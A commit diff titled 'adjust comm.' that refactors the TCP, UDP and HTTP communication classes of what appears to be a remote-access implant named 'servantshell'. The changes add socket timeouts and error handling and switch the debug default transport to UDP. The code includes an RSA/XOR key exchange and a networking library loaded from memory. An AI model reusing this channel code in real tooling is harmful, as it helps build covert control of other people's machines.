adjust comm.

This commit is contained in:
floyd 2015-07-19 00:11:41 +08:00
parent f7eef40b47
commit 18f6779bcc
5 changed files with 76 additions and 37 deletions

View File

@ -3,7 +3,8 @@
#include "HttpComm.h"
HttpComm::HttpComm(BOOL isSSL):
m_http(NULL)
m_http(NULL),
m_ssl(FALSE)
{
m_ssl = isSSL;
}

View File

@ -5,7 +5,8 @@
TcpComm::TcpComm(BOOL isSecure):
m_xorKey1(0),
m_xorKey2(0)
m_xorKey2(0),
m_isSecure(FALSE)
{
srand(GetTickCount());
m_xorKey1 = (BYTE)(rand() % 255);
@ -76,42 +77,74 @@ BOOL TcpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
} while (FALSE);
if ( !ret )
m_sock.Close();
return ret;
}
BOOL TcpComm::Connect( ULONG targetIP, MySocket& sock )
{
BOOL ret = FALSE;
sock.Close();
if (! sock.Create(TRUE))
do
{
errorLogE(_T("create socket failed."));
return FALSE;
}
if (! sock.Create(TRUE))
{
errorLogE(_T("create socket failed."));
break;
}
if (! sock.Connect(targetIP, g_ConfigInfo.nPort, 10))
{
errorLog(_T("connect [%u] failed"), targetIP);
return FALSE;
}
if (m_isSecure)
{
int key1 = 0;
int key2 = 0;
if (! sock.Connect(targetIP, g_ConfigInfo.nPort, 10))
{
errorLog(_T("connect [%u] failed"), targetIP);
break;
}
int flag = TCP_FLAG;
int timeout = 20000;
setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout));
setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));
m_sock.SendAll((LPVOID)&flag,sizeof(int));
if (m_isSecure)
{
int key1 = 0;
int key2 = 0;
m_sock.ReceiveAll(&m_rsaKey,sizeof(RSA::RSA_PUBLIC_KEY));
int flag = TCP_FLAG;
RSA::RSAEncrypt((char*)&m_xorKey1,(int*)&key1,m_rsaKey.d,m_rsaKey.n,1);
RSA::RSAEncrypt((char*)&m_xorKey2,(int*)&key2,m_rsaKey.d,m_rsaKey.n,1);
ret = m_sock.SendAll((LPVOID)&flag,sizeof(int));
m_sock.SendAll(&key1,sizeof(int));
m_sock.SendAll(&key2,sizeof(int));
}
if ( !ret )
break;
return TRUE;
ret = m_sock.ReceiveAll(&m_rsaKey,sizeof(RSA::RSA_PUBLIC_KEY));
if ( !ret )
break;
RSA::RSAEncrypt((char*)&m_xorKey1,(int*)&key1,m_rsaKey.d,m_rsaKey.n,1);
RSA::RSAEncrypt((char*)&m_xorKey2,(int*)&key2,m_rsaKey.d,m_rsaKey.n,1);
ret = m_sock.SendAll(&key1,sizeof(int));
if ( !ret )
break;
ret = m_sock.SendAll(&key2,sizeof(int));
if ( !ret )
break;
}
} while (FALSE);
if ( !ret )
sock.Close();
return ret;
}
BOOL TcpComm::Send( MySocket& sock, ULONG targetIP, const LPBYTE pData, DWORD dwSize )

View File

@ -9,16 +9,18 @@
UdpComm::UdpComm(BOOL isSecure):m_isConnected(FALSE),
m_xorKey1(0),
m_xorKey2(0)
m_xorKey2(0),
m_isSecure(FALSE)
{
m_vtcp.MemLoadLibrary(mem_vtcp,sizeof(mem_vtcp));
m_vsend = (_vtcp_send)m_vtcp.MemGetProcAddress("vtcp_send");
m_vrecv = (_vtcp_recv)m_vtcp.MemGetProcAddress("vtcp_recv");
m_vsocket = (_vtcp_socket)m_vtcp.MemGetProcAddress("vtcp_socket");
m_vconnect = (_vtcp_connect)m_vtcp.MemGetProcAddress("vtcp_connect");
m_vstartup = (_vtcp_startup)m_vtcp.MemGetProcAddress("vtcp_startup");
m_vclose = (_vtcp_close)m_vtcp.MemGetProcAddress("vtcp_close");
m_vsend = (_vtcp_send) m_vtcp.MemGetProcAddress("vtcp_send");
m_vrecv = (_vtcp_recv) m_vtcp.MemGetProcAddress("vtcp_recv");
m_vsocket = (_vtcp_socket) m_vtcp.MemGetProcAddress("vtcp_socket");
m_vconnect = (_vtcp_connect) m_vtcp.MemGetProcAddress("vtcp_connect");
m_vstartup = (_vtcp_startup) m_vtcp.MemGetProcAddress("vtcp_startup");
m_vclose = (_vtcp_close) m_vtcp.MemGetProcAddress("vtcp_close");
m_vsetsockopt = (_vtcp_setsockopt) m_vtcp.MemGetProcAddress("vtcp_setsockopt");
m_vstartup();
@ -120,10 +122,7 @@ BOOL UdpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
UDP_HEADER recvHead = {0};
if ( !ReceiveAll(m_sock,(char*)&recvHead, sizeof(UDP_HEADER)))
{
m_isConnected = FALSE;
break;
}
ByteBuffer buffer;
@ -131,7 +130,6 @@ BOOL UdpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
if (! ReceiveAll(m_sock,(LPBYTE)buffer,recvHead.nSize))
{
m_isConnected = FALSE;
buffer.Free();
break;
}
@ -150,7 +148,8 @@ BOOL UdpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
} while (FALSE);
if ( !ret )
m_isConnected = FALSE;
return ret;
}
@ -170,6 +169,10 @@ BOOL UdpComm::Connect( ULONG targetIP,int port )
{
return FALSE;
}
int timeout = 20000;
m_vsetsockopt(m_sock,SOL_SOCKET,VTCP_SO_RECV_TIMEO,(char*)&timeout,sizeof(int));
m_vsetsockopt(m_sock,SOL_SOCKET,VTCP_SO_SEND_TIMEO,(char*)&timeout,sizeof(int));
if (m_isSecure)
{

View File

@ -20,6 +20,7 @@ public:
typedef int (WINAPI *_vtcp_send)(VTCP_SOCKET s, char * buffer, int cb, int flag);
typedef int (WINAPI *_vtcp_recv)(VTCP_SOCKET s, char * buffer, int cb, int flag);
typedef int (WINAPI *_vtcp_close)(VTCP_SOCKET s);
typedef int (WINAPI *_vtcp_setsockopt)(VTCP_SOCKET s, int level, int optname, char * optval, int optlen);
private:
_vtcp_startup m_vstartup;
@ -28,6 +29,7 @@ private:
_vtcp_send m_vsend;
_vtcp_recv m_vrecv;
_vtcp_close m_vclose;
_vtcp_setsockopt m_vsetsockopt;
public:
//ʵÏÖIComm½Ó¿Ú

View File

@ -226,7 +226,7 @@ SHELL_API BOOL Init(BOOL bWait)
debugLog(_T("init servantshell. filepath is %s%s"), GetBinFilepath(), GetBinFilename());
#ifdef _DEBUG
g_ConfigInfo.nDefaultCommType = COMMNAME_TCP;
g_ConfigInfo.nDefaultCommType = COMMNAME_UDP;
g_ConfigInfo.nPort = 8082;
g_ConfigInfo.nFirstConnectHour = -1;
g_ConfigInfo.nFirstConnectMinute = -1;